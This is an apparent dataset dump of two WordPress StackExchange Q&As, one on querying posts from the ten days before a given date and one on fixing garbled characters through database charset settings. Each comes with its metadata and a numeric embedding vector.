Q: How to get previous 10 days post from a specific date - WP Query I want to know how to get previous 10 days post from a specific date, as I know that it can be done from current date as below $args = array( 'post_type' => 'post', 'date_query' => array( 'after' => '- 10 days' ) ); $query = new WP_Query( $args ); But I want posts previous 10 days post from a specific date. Is it possible ? A: Yes, it is possible. You can pass full date as before and after params, so: $given_date_as_time = strtotime('2017-11-22 00:00:00'); $args = array( 'post_type' => 'post', 'date_query' => array( 'before' => date( 'c', $given_date_as_time ), 'after' => date('c', strtotime( '- 10 days', $given_date_as_time ) ), ), ); $query = new WP_Query( $args ); above query is also correct and will give you result you wanted.
wordpress
{ "language": "en", "length": 146, "provenance": "stackexchange_00019.jsonl.gz:488203", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310059" }
[ 0.06781005859375, -0.038116455078125, -0.0136260986328125, -0.07684326171875, 0.0101318359375, -0.032867431640625, 0.033935546875, 0.0271759033203125, 0.019866943359375, -0.0043487548828125, -0.04437255859375, -0.007244110107421875, -0.059326171875, -0.01502227783203125, -0.0259857177734375, -0.050994873046875, 0.03564453125, -0.0347900390625, 0.00563812255859375, -0.0208892822265625, 0.00962066650390625, -0.013092041015625, 0.0270233154296875, 0.027008056640625, 0.01178741455078125, 0.054931640625, 0.08905029296875, -0.047882080078125, 0.04656982421875, -0.0008831024169921875, 0.0307464599609375, -0.0726318359375, 0.0236968994140625, 0.0084991455078125, -0.0105133056640625, -0.0033512115478515625, -0.01751708984375, 0.01055145263671875, -0.002513885498046875, 0.033050537109375, -0.01378631591796875, 0.003742218017578125, -0.00724029541015625, 0.0174713134765625, -0.0338134765625, 0.00798797607421875, -0.0219573974609375, -0.004245758056640625, 0.0318603515625, 0.04583740234375, -0.0175018310546875, -0.027984619140625, -0.0196380615234375, 0.0338134765625, -0.04248046875, -0.06787109375, -0.004154205322265625, -0.0185699462890625, 0.032318115234375, -0.0203704833984375, -0.032928466796875, -0.01197052001953125, 0.03436279296875, -0.009735107421875, 0.0125274658203125, 0.0025081634521484375, 0.03106689453125, 0.007354736328125, 0.0038852691650390625, 0.015838623046875, 0.0286865234375, -0.0049285888671875, -0.005985260009765625, 0.03021240234375, 0.0277099609375, -0.06231689453125, -0.0040435791015625, -0.01216888427734375, 0.0135650634765625, 0.06536865234375, 0.01800537109375, 0.0229949951171875, -0.06256103515625, -0.0322265625, 0.03680419921875, -0.016571044921875, -0.01519012451171875, -0.023468017578125, -0.03131103515625, -0.0138092041015625, -0.028411865234375, -0.0111083984375, -0.0653076171875, 0.01947021484375, 0.011199951171875, -0.0263214111328125, 0.0257415771484375, 0.0345458984375, -0.04656982421875, -0.042144775390625, -0.016143798828125, -0.01352691650390625, -0.0308074951171875, 0.005428314208984375, 0.0019159317016601562, -0.01708984375, -0.0037689208984375, -0.013397216796875, 0.040435791015625, 0.04803466796875, -0.006237030029296875, 0.0014600753784179688, 0.00933074951171875, -0.0139312744140625, -0.044677734375, 0.047637939453125, 0.039886474609375, -0.05914306640625, -0.001964569091796875, -0.0202178955078125, -0.01097869873046875, 0.0224456787109375, -0.006137847900390625, -0.0229644775390625, 0.0188751220703125, -0.01934814453125, -0.023956298828125, 0.0032978057861328125, 0.008056640625, 0.058502197265625, -0.0250244140625, -0.0005278587341308594, 0.0287322998046875, -0.01049041748046875, -0.003093719482421875, -0.033599853515625, 0.051483154296875, -0.03582763671875, -0.00548553466796875, 0.02716064453125, -0.0266876220703125, -0.036529541015625, 0.00015735626220703125, -0.01436614990234375, 0.0028362274169921875, 0.025482177734375, 0.005298614501953125, 0.0027294158935546875, 0.0238494873046875, -0.0284576416015625, 0.01207733154296875, -0.0546875, 0.034210205078125, 0.00991058349609375, -0.0460205078125, 0.033111572265625, 0.01016998291015625, -0.0007462501525878906, -0.0328369140625, -0.0225982666015625, 0.0194854736328125, 0.0355224609375, 0.0013380050659179688, -0.0416259765625, -0.046722412109375, -0.0545654296875, -0.006504058837890625, -0.00339508056640625, 0.0267333984375, 0.01535797119140625, 0.0188140869140625, -0.036834716796875, 0.0435791015625, 0.006725311279296875, -0.0214385986328125, 0.018585205078125, -0.01049041748046875, -0.039703369140625, 0.015838623046875, 0.014984130859375, -0.002777099609375, -0.004566192626953125, 0.0248260498046875, -0.002452850341796875, 0.016204833984375, -0.006572723388671875, 0.0276947021484375, -0.002552032470703125, -0.047027587890625, 0.021331787109375, 0.0115966796875, 0.0543212890625, -0.0626220703125, 0.037841796875, -0.0195465087890625, -0.002368927001953125, -0.0230560302734375, 0.01433563232421875, -0.0218048095703125, -0.0007414817810058594, 0.01800537109375, 0.055084228515625, -0.050201416015625, 0.014801025390625, -0.07208251953125, 0.0211944580078125, -0.021697998046875, 0.04119873046875, -0.03924560546875, 0.030517578125, 0.0469970703125, 0.0238800048828125, -0.043212890625, -0.059600830078125, 0.0012483596801757812, 0.0161590576171875, 0.023895263671875, 0.05755615234375, -0.010406494140625, 0.034820556640625, -0.0204620361328125, -0.0511474609375, -0.0231781005859375, 0.0347900390625, 0.06573486328125, -0.022186279296875, 0.00377655029296875, -0.022369384765625, 0.06390380859375, 0.006824493408203125, -0.050811767578125, -0.00959014892578125, 0.0005807876586914062, 0.034881591796875, 0.00844573974609375, 0.0099029541015625, 0.04248046875, -0.03656005859375, 0.012298583984375, 0.021636962890625, 0.038543701171875, 0.0175018310546875, 0.012237548828125, 0.0007395744323730469, 0.0408935546875, -0.08941650390625, -0.0106658935546875, -0.0208892822265625, -0.02459716796875, 0.0209503173828125, 0.0249786376953125, 0.00768280029296875, 0.00539398193359375, 0.01274871826171875, -0.01904296875, 0.0223846435546875, -0.011505126953125, 0.0009722709655761719, -0.011138916015625, -0.006732940673828125, 0.00534820556640625, -0.029998779296875, -0.0204010009765625, -0.00701141357421875, -0.01494598388671875, 0.0030422210693359375, 0.0264434814453125, 0.040771484375, 0.01479339599609375, -0.01861572265625, -0.003757476806640625, -0.0038738250732421875, 0.0130767822265625, -0.01222991943359375, -0.039398193359375, 0.0025539398193359375, -0.0102996826171875, 0.0207061767578125, 0.03314208984375, -0.0133819580078125, -0.00818634033203125, 0.0022296905517578125, 0.00904083251953125, -0.00537109375, -0.0010585784912109375, -0.035614013671875, 0.01345062255859375, -0.0037899017333984375, -0.036468505859375, 0.001537322998046875, 0.037109375, 0.01378631591796875, -0.037384033203125, 0.0144805908203125, -0.0269012451171875, 0.0015420913696289062, -0.046295166015625, -0.06341552734375, 0.041473388671875, -0.05743408203125, 0.01137542724609375, 0.048797607421875, 0.0191192626953125, -0.00548553466796875, 0.00661468505859375, -0.024658203125, 0.030548095703125, -0.0234527587890625, -0.0362548828125, -0.0171966552734375, -0.0625, -0.0008330345153808594, 0.0206451416015625, 0.061737060546875, -0.0221710205078125, -0.048095703125, -0.00637054443359375, 0.015960693359375, -0.0833740234375, -0.074462890625, -0.0269012451171875, -0.042816162109375, -0.024993896484375, 0.0055694580078125, -0.0214691162109375, 0.0108184814453125, 0.0018663406372070312, 0.0186004638671875, -0.0086517333984375, 0.0027027130126953125, -0.0251617431640625, 0.0025806427001953125, -0.00830841064453125, 0.01042938232421875, -0.00650787353515625, -0.017730712890625, -0.003513336181640625, 0.07647705078125, 0.0016946792602539062, -0.0799560546875, -0.0469970703125, -0.0296173095703125, -0.03253173828125, -0.0010852813720703125, 0.01175689697265625, 0.005035400390625, -0.0019550323486328125, 0.011749267578125, -0.007343292236328125, 0.0168609619140625, -0.035430908203125, -0.0120697021484375, -0.0032958984375, 0.03564453125, 0.0035552978515625, -0.01507568359375, 0.0113372802734375, 0.060577392578125, -0.006866455078125, -0.0180816650390625, -0.0394287109375, -0.0279693603515625, -0.06304931640625, 0.0391845703125, 0.03240966796875, 0.0149383544921875, -0.019317626953125, 0.024078369140625, -0.0128936767578125, -0.0236663818359375, 0.016754150390625, -0.03887939453125, 0.055572509765625, 0.00968170166015625, -0.00812530517578125, -0.004955291748046875, 0.0199127197265625, -0.008636474609375, 0.0168304443359375, 0.00934600830078125, 0.01554107666015625, -0.01107025146484375, 0.026824951171875, -0.05047607421875, -0.052337646484375, 0.039398193359375, -0.0238189697265625, -0.00743865966796875, -0.04296875, -0.0205841064453125, -0.014068603515625, 0.0673828125, -0.0007023811340332031, -0.02630615234375, 0.01184844970703125, 0.0141143798828125, -0.049560546875, 0.003543853759765625, -0.051239013671875, -0.01227569580078125, -0.1217041015625, -0.00209808349609375, -0.013153076171875, -0.0338134765625, 0.004032135009765625, -0.0236968994140625, -0.062286376953125, -0.05438232421875, 0.0168609619140625, 0.01218414306640625, -0.0194244384765625, 0.01885986328125, -0.037384033203125, 0.01422882080078125, -0.021026611328125, -0.006015777587890625, -0.0728759765625, -0.0238189697265625, 0.0005512237548828125, 0.047943115234375, -0.01363372802734375, -0.01702880859375, -0.031890869140625, 0.045806884765625, 0.02960205078125, 0.057403564453125, 0.0169219970703125, -0.01540374755859375, 0.03271484375, -0.03851318359375, 0.03729248046875, -0.034027099609375, -0.0156707763671875, -0.039794921875, 0.0074462890625, 0.01126861572265625, -0.0225830078125, -0.0086822509765625, -0.025115966796875, 0.003082275390625, -0.0361328125, -0.01432037353515625, 0.00977325439453125, 0.018798828125, -0.022705078125, 0.01763916015625, -0.0215606689453125, -0.014312744140625, 0.054962158203125, 0.061065673828125, -0.0164642333984375, 0.0020236968994140625, 0.06304931640625, 0.0151824951171875, -0.048858642578125, -0.0750732421875, -0.006877899169921875, 0.0416259765625, 0.0170745849609375, 0.00521087646484375, -0.0091705322265625, -0.043701171875, 0.07342529296875, -0.0085906982421875, -0.0011491775512695312, -0.04510498046875, 0.0169525146484375, 0.0173797607421875, 0.0153656005859375, -0.01465606689453125, -0.006610870361328125, 0.059844970703125, 0.0302581787109375, -0.0137176513671875, -0.018798828125, 0.00601959228515625, 0.056640625, -0.019073486328125, 0.01535797119140625, -0.038665771484375, 0.006740570068359375, 0.004741668701171875, -0.0303497314453125, -0.0186309814453125, 0.032867431640625, -0.01605224609375, -0.0249176025390625, 0.0225982666015625, 0.012603759765625, 0.0073089599609375, 0.0033168792724609375, -0.01910400390625, 0.036346435546875, 0.0081634521484375, -0.0130615234375, 0.00923919677734375, 0.007793426513671875, 0.040863037109375, -0.01220703125, -0.038482666015625, -0.0219573974609375, -0.00847625732421875, -0.0092315673828125, 0.0247955322265625, -0.0279693603515625, 0.061187744140625, 0.0447998046875, -0.033172607421875, -0.0236358642578125, -0.0159759521484375, -0.0266876220703125, -0.06396484375, 0.007312774658203125, 0.0188446044921875, -0.0022373199462890625, 0.033233642578125, 0.05511474609375, 0.0273895263671875, 0.04071044921875, -0.044586181640625, 0.0308990478515625, 0.0160369873046875, 0.0256195068359375, 0.0130767822265625, -0.013458251953125, 0.00444793701171875, -0.004604339599609375, 0.01509857177734375, -0.024169921875, 0.0008797645568847656, 0.0042877197265625, 0.0081787109375, -0.0305328369140625, -0.01593017578125, 0.055755615234375, 0.021728515625, -0.040130615234375, -0.0182647705078125, 0.06719970703125, 0.037994384765625, -0.01342010498046875, -0.0120697021484375, -0.005321502685546875, 0.06756591796875, -0.00298309326171875, 0.0007510185241699219, -0.049560546875, 0.013214111328125, -0.030853271484375, 0.032470703125, -0.0384521484375, -0.043304443359375, 0.0020885467529296875, 0.004802703857421875, -0.0135345458984375, 0.040557861328125, -0.022186279296875, -0.001956939697265625, -0.0283966064453125, 0.0247802734375, -0.0099639892578125, 0.04010009765625, -0.031524658203125, 0.0026149749755859375, -0.045074462890625, 0.0106201171875, 0.05267333984375, 0.030120849609375, 0.01392364501953125, -0.0028743743896484375, -0.01898193359375, -0.001972198486328125, -0.000865936279296875, -0.06475830078125, -0.0153350830078125, -0.042266845703125, 0.00339508056640625, 0.01910400390625, -0.018096923828125, -0.01971435546875, -0.0328369140625, 0.032470703125, 0.0234527587890625, 0.03814697265625, 0.018646240234375, 0.0469970703125, -0.0189666748046875, 0.040740966796875, 0.024383544921875, 0.0295562744140625, -0.047607421875, -0.027374267578125, 0.0120086669921875, -0.0457763671875, -0.021820068359375, 0.024658203125, -0.06298828125, -0.026397705078125, -0.01385498046875, -0.0195770263671875, 0.0228271484375, -0.020111083984375, 0.0022411346435546875, -0.00775909423828125, -0.0106658935546875, -0.0031948089599609375, 0.00945281982421875, -0.000995635986328125, -0.0199737548828125, 0.00449371337890625, -0.0091400146484375, 0.04931640625, -0.018890380859375, -0.03955078125, -0.0145721435546875, 0.0234527587890625, -0.0013456344604492188, 0.0180206298828125, 0.0762939453125, -0.0162200927734375, 0.03973388671875, 0.031646728515625, 0.011566162109375, 0.053436279296875, 0.01245880126953125, -0.046630859375, 0.02105712890625, 0.0517578125, 0.01108551025390625, -0.0079345703125, 0.02337646484375, -0.00540924072265625, 0.00072479248046875, 0.00131988525390625, 0.0367431640625, -0.036773681640625, 0.0167236328125, -0.0019989013671875, -0.002117156982421875, 0.00968170166015625, 0.01532745361328125, -0.00927734375, 0.020355224609375, 0.02947998046875, -0.0443115234375, -0.0203704833984375, 0.03997802734375, 0.003265380859375, 0.006175994873046875, -0.037384033203125, 0.033203125, -0.006103515625, -0.08673095703125, 0.02972412109375, 0.0518798828125, -0.036102294921875, -0.021759033203125, -0.0079345703125, 0.00665283203125, -0.0008454322814941406, -0.08880615234375, 0.01471710205078125, -0.0172882080078125, -0.004261016845703125, 0.006500244140625, -0.01513671875, 0.0234527587890625, 0.039520263671875, -0.022186279296875, 0.0028400421142578125, -0.001544952392578125, -0.0130462646484375, -0.01446533203125, -0.0648193359375, 0.034454345703125, -0.017425537109375, -0.039154052734375, 0.038970947265625, 0.0129852294921875, -0.09942626953125, 0.00853729248046875, -0.02862548828125, 0.0032138824462890625, -0.053985595703125, 0.01184844970703125, 0.046844482421875, -0.001018524169921875, -0.0049896240234375, -0.0101165771484375, 0.0270233154296875, -0.03228759765625, 0.03350830078125, 0.0093536376953125, 0.04840087890625, -0.0103607177734375, -0.01294708251953125, -0.052978515625, 0.059234619140625, 0.00482177734375, 0.01364898681640625, -0.0170135498046875, 0.033905029296875, 0.0174407958984375, 0.019073486328125, -0.05072021484375, 0.07476806640625, -0.00893402099609375, 0.021148681640625, -0.063232421875, -0.0035610198974609375, -0.006084442138671875, 0.004650115966796875, 0.0190582275390625, -0.01186370849609375, -0.032379150390625, -0.00424957275390625, 0.068359375, 0.040985107421875, 0.0249481201171875, 0.0227813720703125, 0.00005143880844116211, 0.03533935546875, 0.05438232421875, -0.0693359375, 0.035552978515625, -0.005580902099609375, 0.021636962890625, 0.022247314453125, -0.00823974609375, -0.012054443359375, 0.0025177001953125, -0.022125244140625, 0.03338623046875, -0.0099029541015625, -0.033905029296875, -0.047698974609375, 0.00811767578125, 0.04644775390625, 0.048919677734375, -0.05230712890625, -0.05413818359375, -0.031982421875, 0.042510986328125, 0.0128326416015625, 0.01806640625, 0.06298828125, 0.0240478515625, 0.0198974609375, -0.001087188720703125, 0.02520751953125, -0.01012420654296875, -0.0035686492919921875, 0.08673095703125, 0.0295562744140625, 0.0282135009765625, -0.061859130859375, -0.017120361328125, 0.039825439453125, 0.09478759765625, -0.05291748046875, 0.050811767578125, 0.01430511474609375, -0.00875091552734375, -0.03326416015625, -0.08587646484375, -0.03875732421875, 0.015625, -0.018646240234375, -0.019744873046875, -0.0175628662109375, 0.00806427001953125, 0.0190582275390625, 0.0060272216796875, 0.0259857177734375, -0.01424407958984375, -0.006832122802734375, -0.0183258056640625, -0.00897216796875, 0.00792694091796875, 0.044677734375, 0.0364990234375, 0.00972747802734375, -0.0255584716796875, -0.01238250732421875, 0.041351318359375, -0.032318115234375, 0.00307464599609375, -0.050811767578125, 0.064453125, 0.01617431640625, -0.0212249755859375, 0.003692626953125, 0.0162200927734375, 0.004924774169921875, 0.0204925537109375, 0.0288848876953125, -0.0003733634948730469, -0.0216064453125, 0.0179901123046875, -0.01361846923828125, 0.01119232177734375, -0.03631591796875, 0.00604248046875, 0.0008625984191894531, -0.020904541015625, 0.00513458251953125, -0.0026416778564453125, 0.0340576171875, -0.0235443115234375, 0.0157470703125, 0.0011310577392578125, 0.005077362060546875, 0.060760498046875, -0.039825439453125, 0.015411376953125, -0.0205230712890625, 0.0156402587890625, 0.038116455078125, -0.06610107421875, -0.037353515625, 0.00446319580078125, 0.0059967041015625, -0.007015228271484375, 0.038818359375, 0.019561767578125, 0.0021572113037109375, 0.041351318359375, -0.0233001708984375, -0.0054473876953125, -0.016204833984375, 0.026947021484375, -0.016845703125, -0.06927490234375, -0.03033447265625, -0.033538818359375, 0.00333404541015625, 0.01212310791015625, 0.0120849609375, 0.0300140380859375, 0.019317626953125, -0.053466796875, 0.0230865478515625, -0.0484619140625, -0.052001953125, 0.06622314453125, -0.0072784423828125, -0.031646728515625, 0.01219940185546875, 0.0021038055419921875, -0.01812744140625, 0.035369873046875, -0.0192413330078125, -0.0245819091796875, -0.03240966796875, 0.03302001953125, 0.016754150390625, -0.020782470703125, -0.02862548828125, 0.00911712646484375, 0.0193328857421875, -0.0225830078125, 0.026123046875, -0.035308837890625, -0.0264434814453125, 0.028717041015625, 0.032806396484375, -0.01171112060546875, 0.0245208740234375, -0.017303466796875, 0.035797119140625, 0.03179931640625, 0.00604248046875, 0.0122833251953125, 0.0033206939697265625, -0.0126190185546875, -0.01166534423828125, 0.03961181640625, -0.0214691162109375, -0.0027523040771484375, 0.053009033203125, -0.022308349609375, 0.0169525146484375, 0.0347900390625, -0.00992584228515625, 0.01122283935546875, -0.0290069580078125, -0.0172576904296875, -0.0212554931640625, -0.03375244140625, -0.031829833984375, -0.054779052734375, 0.0171966552734375, 0.0182952880859375, -0.0212249755859375, -0.0222625732421875, -0.005123138427734375, 0.006221771240234375, -0.00011336803436279297, 0.0255584716796875, -0.0765380859375, 0.065185546875, -0.01282501220703125, -0.005222320556640625, -0.0133819580078125, -0.00992584228515625, 0.0098114013671875, -0.0213775634765625, -0.032379150390625, -0.019775390625, -0.0280303955078125, 0.0212554931640625, -0.0211181640625, -0.014434814453125, -0.0038166046142578125, 0.0066375732421875, -0.032684326171875, -0.0023899078369140625, -0.013946533203125, 0.04852294921875, -0.015045166015625, 0.003574371337890625, 0.00624847412109375, 0.05694580078125, -0.057342529296875, -0.072265625, 0.0308074951171875, -0.00856781005859375, 0.00746917724609375, 0.0159454345703125, 0.018951416015625, 0.064208984375, 0.002532958984375, -0.05755615234375, 0.0205230712890625, -0.01465606689453125, -0.0249481201171875, -0.0201263427734375, 0.0310211181640625, -0.003696441650390625, -0.0142974853515625, -0.00274658203125, -0.01053619384765625, 0.002208709716796875, 0.0005259513854980469, -0.005878448486328125, 0.04412841796875, -0.00959014892578125, -0.0125274658203125, -0.0335693359375, 0.01471710205078125, 0.004169464111328125, -0.0005669593811035156, -0.000051856040954589844, 0.01107025146484375, 0.029632568359375, 0.049591064453125, -0.01415252685546875, 0.046295166015625, 0.01023101806640625, -0.0166015625, -0.0178680419921875, 0.027313232421875, -0.06268310546875, -0.004940032958984375, 0.06256103515625, 0.1290283203125, 0.036651611328125, -0.058197021484375, -0.025543212890625, -0.00620269775390625, 0.009307861328125, 0.01256561279296875, 0.001720428466796875, -0.03375244140625, 0.0101318359375, -0.0017404556274414062, -0.010406494140625, 0.024505615234375, 0.00122833251953125, -0.0122833251953125, 0.00676727294921875, 0.01837158203125, -0.01180267333984375, -0.080078125, 0.0215911865234375, 0.037200927734375, -0.0231781005859375, 0.01458740234375, -0.0208740234375, 0.0014238357543945312, 0.021575927734375, -0.00806427001953125, 0.01763916015625, 0.040435791015625, -0.0156097412109375, -0.016143798828125, 0.036102294921875, -0.04949951171875, 0.023895263671875, 0.007678985595703125, -0.0024662017822265625, -0.035308837890625, -0.0087127685546875, -0.06201171875, 0.04876708984375, -0.04217529296875, -0.038238525390625, 0.08148193359375, 0.0086517333984375, 0.0684814453125, -0.02593994140625, 0.04638671875, -0.047027587890625, -0.00021398067474365234, -0.03265380859375, -0.011627197265625, -0.005207061767578125, 0.007411956787109375, -0.02203369140625, -0.023956298828125, 0.01123809814453125, 0.0033397674560546875, -0.00302886962890625, -0.004749298095703125 ]
44b535febf5a4754ff0dc37548cf40ada689a159
Wordpress Stackexchange Q: Strange characters on wordpress site - Not UTF8 Issue I've imported WordPress post data onto a new site and noticed I have strange characters showing on pages and Blog posts. It usually shows where apostrophes should be. I've searched multiple solutions to UTF8 & latin1 solutions with success. I've looked at my database and the characters are showing there too. A: What is your database encoding? Try to switch to utf8mb4. Alternatively, try to add one of these lines in your wp-config.php file: define('DB_CHARSET', 'latin1'); define('DB_COLLATE', ''); or define('DB_CHARSET', 'utf8'); define('DB_COLLATE', ''); or define('DB_CHARSET', 'utf8mb4'); define('DB_COLLATE', '');
Q: Strange characters on wordpress site - Not UTF8 Issue I've imported WordPress post data onto a new site and noticed I have strange characters showing on pages and Blog posts. It usually shows where apostrophes should be. I've searched multiple solutions to UTF8 & latin1 solutions with success. I've looked at my database and the characters are showing there too. A: What is your database encoding? Try to switch to utf8mb4. Alternatively, try to add one of these lines in your wp-config.php file: define('DB_CHARSET', 'latin1'); define('DB_COLLATE', ''); or define('DB_CHARSET', 'utf8'); define('DB_COLLATE', ''); or define('DB_CHARSET', 'utf8mb4'); define('DB_COLLATE', '');
wordpress
{ "language": "en", "length": 98, "provenance": "stackexchange_00019.jsonl.gz:488204", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/310061" }
[ -0.001087188720703125, 0.003307342529296875, -0.01800537109375, 0.08587646484375, 0.007251739501953125, -0.0380859375, 0.0860595703125, -0.04949951171875, 0.00594329833984375, 0.03887939453125, -0.0016698837280273438, -0.00478363037109375, 0.0152435302734375, -0.0218353271484375, -0.03460693359375, -0.0256195068359375, -0.004268646240234375, 0.032867431640625, 0.024658203125, -0.0037975311279296875, 0.01259613037109375, -0.0096893310546875, -0.019012451171875, -0.0357666015625, 0.02703857421875, -0.02923583984375, 0.08038330078125, -0.01103973388671875, 0.026947021484375, -0.00940704345703125, 0.03350830078125, -0.027587890625, 0.0260009765625, 0.0181732177734375, -0.02362060546875, -0.0003459453582763672, 0.0029621124267578125, 0.00043487548828125, -0.0107574462890625, 0.010009765625, 0.01184844970703125, -0.0182037353515625, 0.07122802734375, 0.0087432861328125, 0.03131103515625, -0.0206298828125, 0.010101318359375, -0.05926513671875, 0.01104736328125, -0.00897979736328125, 0.0189971923828125, 0.0022754669189453125, 0.03948974609375, 0.0175628662109375, -0.035675048828125, -0.03436279296875, -0.0203704833984375, 0.01486968994140625, 0.029876708984375, 0.0135345458984375, -0.01465606689453125, 0.01654052734375, -0.00995635986328125, -0.026123046875, -0.02520751953125, 0.008087158203125, 0.03265380859375, -0.0103759765625, -0.05706787109375, -0.039794921875, 0.03912353515625, -0.0228424072265625, -0.004734039306640625, -0.046112060546875, 0.0020084381103515625, 0.040435791015625, 0.0038776397705078125, -0.0012464523315429688, -0.00797271728515625, 0.00196075439453125, 0.011322021484375, 0.0007042884826660156, -0.032806396484375, -0.02398681640625, 0.0117950439453125, -0.003406524658203125, -0.01003265380859375, -0.01299285888671875, -0.0141448974609375, -0.0303497314453125, -0.019134521484375, -0.0268707275390625, -0.055206298828125, 0.03900146484375, 0.020263671875, -0.0214080810546875, 0.01727294921875, 0.03973388671875, -0.0031871795654296875, 0.035736083984375, 0.001964569091796875, -0.053558349609375, 0.086669921875, -0.06256103515625, 0.0194854736328125, -0.00702667236328125, -0.01110076904296875, -0.0294342041015625, 0.051483154296875, 0.0210113525390625, -0.0189666748046875, 0.0849609375, -0.024200439453125, -0.07196044921875, 0.0108489990234375, 0.051361083984375, -0.012847900390625, 0.0249786376953125, 0.0294952392578125, -0.0284576416015625, 0.0240478515625, 0.047515869140625, -0.011199951171875, -0.07989501953125, -0.000023066997528076172, -0.031524658203125, -0.038726806640625, -0.01387786865234375, -0.0533447265625, 0.062744140625, -0.006343841552734375, -0.0122528076171875, 0.03271484375, 0.04608154296875, -0.01000213623046875, -0.04180908203125, -0.0107574462890625, 0.0027980804443359375, -0.0202789306640625, 0.034210205078125, -0.0245513916015625, -0.06610107421875, -0.01629638671875, -0.017852783203125, -0.0274200439453125, 0.022674560546875, 0.0026454925537109375, 0.01910400390625, -0.0013532638549804688, -0.061279296875, -0.0028133392333984375, -0.031463623046875, 0.06597900390625, -0.0169677734375, -0.04541015625, -0.061737060546875, 0.036865234375, -0.053070068359375, -0.0257720947265625, -0.083984375, -0.0008087158203125, -0.025482177734375, -0.021453857421875, -0.0030345916748046875, -0.041290283203125, 0.02740478515625, 0.0169830322265625, 0.0049285888671875, 0.01085662841796875, -0.0699462890625, -0.0016269683837890625, 0.0187225341796875, 0.071044921875, -0.0208587646484375, -0.006378173828125, 0.0133819580078125, 0.007419586181640625, -0.0018472671508789062, 0.006793975830078125, 0.09246826171875, 0.03594970703125, -0.0129852294921875, 0.00540924072265625, 0.01067352294921875, -0.056365966796875, 0.027130126953125, 0.0128936767578125, 0.07904052734375, 0.0268707275390625, 0.02410888671875, 0.0322265625, -0.00799560546875, -0.027435302734375, 0.03192138671875, 0.0224609375, -0.024688720703125, -0.0264892578125, 0.0006818771362304688, 0.00814056396484375, -0.045074462890625, 0.029083251953125, 0.0138092041015625, -0.0112762451171875, 0.005153656005859375, -0.06146240234375, 0.0149383544921875, -0.0238189697265625, 0.033843994140625, 0.029815673828125, 0.037811279296875, 0.01690673828125, 0.0167388916015625, -0.0293731689453125, 0.02490234375, -0.0278778076171875, -0.0027599334716796875, 0.009368896484375, 0.01291656494140625, 0.004138946533203125, 0.0309295654296875, -0.01125335693359375, -0.0074462890625, -0.031707763671875, -0.000621795654296875, 0.00658416748046875, -0.002079010009765625, -0.0175933837890625, -0.0004792213439941406, -0.00911712646484375, 0.006305694580078125, -0.0085296630859375, 0.0224609375, 0.00801849365234375, 0.018341064453125, -0.04119873046875, -0.0165557861328125, -0.031646728515625, -0.0289154052734375, 0.02105712890625, 0.05792236328125, 0.0452880859375, 0.01560211181640625, -0.01251220703125, -0.0272216796875, 0.0214080810546875, -0.02740478515625, 0.0296783447265625, -0.035491943359375, 0.03399658203125, 0.07489013671875, -0.006359100341796875, -0.0211639404296875, 0.00543975830078125, -0.07379150390625, 0.00441741943359375, 0.02557373046875, -0.017059326171875, 0.0247955322265625, -0.002605438232421875, -0.0274658203125, 0.01035308837890625, -0.0240020751953125, -0.01326751708984375, -0.024505615234375, -0.0018100738525390625, 0.005252838134765625, 0.01306915283203125, 0.0030517578125, -0.01434326171875, 0.0174102783203125, 0.02008056640625, -0.020599365234375, 0.006053924560546875, 0.0037689208984375, 0.000713348388671875, 0.04803466796875, -0.0246124267578125, -0.0018329620361328125, -0.0028629302978515625, 0.003147125244140625, 0.01297760009765625, 0.0447998046875, 0.01202392578125, -0.00638580322265625, 0.00028443336486816406, -0.0305328369140625, -0.00685882568359375, 0.01617431640625, -0.04779052734375, -0.01407623291015625, 0.0186614990234375, 0.032806396484375, 0.0005369186401367188, -0.002109527587890625, -0.0179443359375, 0.01209259033203125, 0.0247039794921875, -0.0247039794921875, 0.034515380859375, -0.04620361328125, -0.00848388671875, 0.04852294921875, -0.007411956787109375, -0.006763458251953125, 0.007419586181640625, 0.045654296875, 0.02459716796875, 0.016265869140625, 0.008514404296875, -0.0009670257568359375, -0.02154541015625, -0.005519866943359375, 0.01503753662109375, 0.0198974609375, -0.025634765625, -0.040435791015625, -0.0253143310546875, -0.006145477294921875, -0.09619140625, -0.0703125, -0.051116943359375, -0.00408172607421875, -0.049652099609375, 0.021881103515625, -0.004917144775390625, 0.034698486328125, -0.003185272216796875, 0.00452423095703125, 0.018524169921875, -0.03717041015625, -0.046295166015625, -0.0560302734375, -0.06488037109375, -0.0191497802734375, 0.01470947265625, 0.01171875, -0.01641845703125, -0.0136260986328125, -0.0281982421875, -0.01441192626953125, -0.0304412841796875, 0.02325439453125, 0.0172882080078125, -0.037506103515625, -0.0220794677734375, 0.006259918212890625, 0.01361846923828125, 0.018798828125, 0.033599853515625, 0.01922607421875, -0.0203704833984375, -0.000919342041015625, -0.00554656982421875, -0.005718231201171875, 0.0009331703186035156, -0.01128387451171875, 0.0006527900695800781, 0.0239105224609375, -0.0091400146484375, -0.035491943359375, -0.032806396484375, 0.0254974365234375, -0.01483917236328125, 0.0318603515625, -0.0291595458984375, -0.0256805419921875, -0.0005645751953125, 0.058837890625, -0.033477783203125, -0.01279449462890625, 0.0209197998046875, -0.0283660888671875, -0.005985260009765625, -0.0037994384765625, -0.01873779296875, 0.0120086669921875, -0.005054473876953125, -0.00787353515625, 0.052490234375, 0.01334381103515625, 0.035736083984375, 0.01139068603515625, 0.038299560546875, 0.018798828125, -0.058624267578125, 0.04248046875, -0.020751953125, 0.01806640625, -0.024261474609375, -0.045318603515625, 0.0081634521484375, 0.111083984375, -0.0276641845703125, 0.0031414031982421875, -0.006839752197265625, 0.0157470703125, -0.06317138671875, -0.038818359375, -0.0538330078125, 0.01126861572265625, -0.02459716796875, 0.00202178955078125, -0.0035076141357421875, -0.0198822021484375, -0.01568603515625, -0.0160064697265625, -0.0080108642578125, -0.0213470458984375, 0.0060882568359375, -0.01751708984375, 0.035888671875, -0.0115966796875, 0.01161956787109375, 0.0095367431640625, -0.00421142578125, -0.03887939453125, -0.06402587890625, -0.023712158203125, -0.033233642578125, 0.06927490234375, 0.022796630859375, -0.03582763671875, 0.002155303955078125, 0.058349609375, -0.005462646484375, 0.02227783203125, 0.00815582275390625, 0.0294036865234375, -0.00708770751953125, -0.0005121231079101562, 0.021270751953125, -0.03662109375, -0.011138916015625, 0.00046896934509277344, -0.0017499923706054688, 0.0137939453125, 0.0036029815673828125, -0.0172119140625, 0.034149169921875, -0.0293426513671875, 0.008514404296875, -0.01531219482421875, -0.0161285400390625, 0.06854248046875, 